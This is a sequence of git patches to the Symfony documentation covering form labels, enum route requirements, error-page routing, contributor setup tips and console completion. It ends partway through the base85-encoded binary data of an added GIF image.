From b72dd7c8cc039db21700e526c8f564d06550671e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20L=C3=A9v=C3=AAque?= <sleveque@emisys.eu>
Date: Fri, 15 Apr 2022 09:02:59 +0200
Subject: [PATCH 3162/7107] [Form] Document using TranslatableMessage in form
 Fields

---
 .../forms/types/options/choice_label.rst.inc  |  1 +
 reference/forms/types/options/label.rst.inc   | 20 +++++++++++++++++--
 2 files changed, 19 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 6cfac9323ae..aa83524ad88 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -25,6 +25,7 @@ more control::
 
             // or if you want to translate some key
             //return 'form.choice.'.$key;
+            //return new TranslatableMessage($key, false === $choice ? [] : ['%status%' => $value], 'store');
         },
     ]);
 
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 3d9b6bd1674..da8285a8632 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -1,10 +1,26 @@
 ``label``
 ~~~~~~~~~
 
-**type**: ``string`` **default**: The label is "guessed" from the field name
+**type**: ``string`` or ``TranslatableMessage`` **default**: The label is "guessed" from the field name
 
 Sets the label that will be used when rendering the field. Setting to ``false``
-will suppress the label. The label can also be set in the template:
+will suppress the label.
+
+    use Symfony\Component\Translation\TranslatableMessage;
+
+    $builder
+        ->add('zipCode', null, [
+            'label' => 'The ZIP/Postal code',
+        ])
+
+    // ...
+
+    ->add('zipCode', null, [
+            'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'),
+        ])
+    ;
+
+The label can also be set in the template:
 
 .. configuration-block::
 

From c48c74a40fb52343ea9584b418953be33467eff8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Mon, 18 Apr 2022 09:11:11 +0200
Subject: [PATCH 3163/7107] [Routing] Add information about EnumRequirement

---
 controller/argument_value_resolver.rst | 28 +++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 9d08d8e3ef4..18e79233a82 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -52,9 +52,35 @@ Symfony ships with the following value resolvers in the
     When requesting the ``/cards/H`` URL, the ``$suit`` variable will store the
     ``Suit::Hearts`` case.
 
+    Furthermore, you can limit route parameter's allowed values to
+    only one (or more) with ``EnumRequirement``::
+
+        use Symfony\Component\Routing\Requirement\EnumRequirement;
+
+        // ...
+
+        class CardController
+        {
+            #[Route(
+                '/cards/{suit}',
+                requirements: [
+                    'suit' => new EnumRequirement(Suit::class, Suit::Diamonds, Suit::Spades),
+                ],
+            )]
+            public function list(Suit $suit): Response
+            {
+                // ...
+            }
+
+            // ...
+        }
+
+    The example above allows requesting only ``/cards/D`` and ``/cards/S``
+    URLs and leads to 404 Not Found response in two other cases.
+
     .. versionadded:: 6.1
 
-        The ``BackedEnumValueResolver`` was introduced in Symfony 6.1.
+        The ``BackedEnumValueResolver`` and ``EnumRequirement`` were introduced in Symfony 6.1.
 
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.

From 3a52f560625e0fc7a0f37c1e27b9dc80d2913705 Mon Sep 17 00:00:00 2001
From: Maarten de Keizer <github@maartendekeizer.nl>
Date: Mon, 18 Apr 2022 16:54:14 +0200
Subject: [PATCH 3164/7107] Fix path/example content of error route files

Removed `dev` part from file location, adjusted code example.
---
 controller/error_pages.rst | 25 +++++++++++++++----------
 1 file changed, 15 insertions(+), 10 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index a94294573a0..2eec5213956 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -155,32 +155,37 @@ automatically when installing ``symfony/framework-bundle``):
 
     .. code-block:: yaml
 
-        # config/routes/dev/framework.yaml
-        _errors:
-            resource: '@FrameworkBundle/Resources/config/routing/errors.xml'
-            prefix:   /_error
+        # config/routes/framework.yaml
+        when@dev:
+            _errors:
+                resource: '@FrameworkBundle/Resources/config/routing/errors.xml'
+                prefix:   /_error
 
     .. code-block:: xml
 
-        <!-- config/routes/dev/framework.xml -->
+        <!-- config/routes/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
+            <when env="prod">
+                <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
+            </when>
         </routes>
 
     .. code-block:: php
 
-        // config/routes/dev/framework.php
+        // config/routes/framework.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
-                ->prefix('/_error')
-            ;
+            if ('dev' === $container->env()) {
+                $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
+                    ->prefix('/_error')
+                ;
+            }
         };
 
 With this route added, you can use URLs like these to preview the *error* page

From 0e21ee15fc8755710064e800b19bef3098d7cd16 Mon Sep 17 00:00:00 2001
From: Mathieu Lechat <mlechat@lucca.fr>
Date: Tue, 19 Apr 2022 15:58:55 +0200
Subject: [PATCH 3165/7107] Tell about COMPOSER_ROOT_VERSION when not working
 on the default branch

---
 contributing/code/tests.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 3ba250a50bb..376792f879f 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -24,6 +24,16 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     $ composer update
 
+.. tip::
+
+    Dependencies might fail to update and in this case Composer might need you to
+    tell it what Symfony version you are working on.
+    To do so set ``COMPOSER_ROOT_VERSION`` variable, e.g.:
+
+    .. code-block:: terminal
+
+        $ COMPOSER_ROOT_VERSION=4.4.x-dev composer update
+
 .. _running:
 
 Running the Tests

From 9f8af200521ac6659615e11af0d713841ae097f9 Mon Sep 17 00:00:00 2001
From: Sergey Belyshkin <sbelyshkin@clubautomation.com>
Date: Thu, 21 Apr 2022 13:57:16 +0700
Subject: [PATCH 3166/7107] Update git protocol in URL

Cloning into 'symfony-docs'...
fatal: remote error:
  The unauthenticated git protocol on port 9418 is no longer supported.
Please see https://github.blog/2021-09-01-improving-git-protocol-security-github/ for more information.
---
 contributing/documentation/overview.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 2334f504400..78e90d04483 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -76,7 +76,7 @@ this value accordingly):
 .. code-block:: terminal
 
     $ cd projects/
-    $ git clone git://github.com/YOUR-GITHUB-USERNAME/symfony-docs.git
+    $ git clone git@github.com:YOUR-GITHUB-USERNAME/symfony-docs.git
 
 **Step 3.** Add the original Symfony docs repository as a "Git remote" executing
 this command:

From 3ae47aa3819fc687d42402d2effbcd10916094c0 Mon Sep 17 00:00:00 2001
From: Florian-B <Florian-B@users.noreply.github.com>
Date: Tue, 19 Apr 2022 16:48:50 +0200
Subject: [PATCH 3167/7107] Add InteractiveAuthenticatorInterface reference

---
 security/custom_authenticator.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index f75cb8df444..773e31360b7 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -176,6 +176,13 @@ can define what happens in these cases:
     above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`
     if you want to set custom error messages.
 
+.. tip::
+
+    If your login method is interactive, which means that the user actively logged into your application, you may want your authenticator to implement the 
+    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`
+    so that it dispatches an 
+    :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
+
 .. _security-passport:
 
 Security Passports

From 3feb2baee28cc5cf09f4e94bb91771247a473595 Mon Sep 17 00:00:00 2001
From: Maxime Nicole <101107892+ncsmnicole@users.noreply.github.com>
Date: Fri, 15 Apr 2022 15:47:02 +0200
Subject: [PATCH 3168/7107] Replace duplicate medium configuration

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 25a2ee442fb..786614e2ecd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -601,7 +601,7 @@ specify what channels should be used for specific levels (using
                 ->channelPolicy('high', ['chat/slack'])
                 // Use browser for medium and low notifications
                 ->channelPolicy('medium', ['browser'])
-                ->channelPolicy('medium', ['browser'])
+                ->channelPolicy('low', ['browser'])
             ;
         };
 

From 90acacaac608762e3d6948c58134ac1cd5f1661f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 16 Apr 2022 16:57:03 +0200
Subject: [PATCH 3169/7107] Document console completion

---
 _images/components/console/completion.gif | Bin 0 -> 154106 bytes
 console.rst                               | 142 +++++++++++++++++-----
 console/input.rst                         |  87 +++++++++++++
 page_creation.rst                         |   7 ++
 4 files changed, 203 insertions(+), 33 deletions(-)
 create mode 100644 _images/components/console/completion.gif

diff --git a/_images/components/console/completion.gif b/_images/components/console/completion.gif
new file mode 100644
index 0000000000000000000000000000000000000000..011ae0b935e51f8cd41a291e9f2c0d0e3d422259
GIT binary patch
literal 154106
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
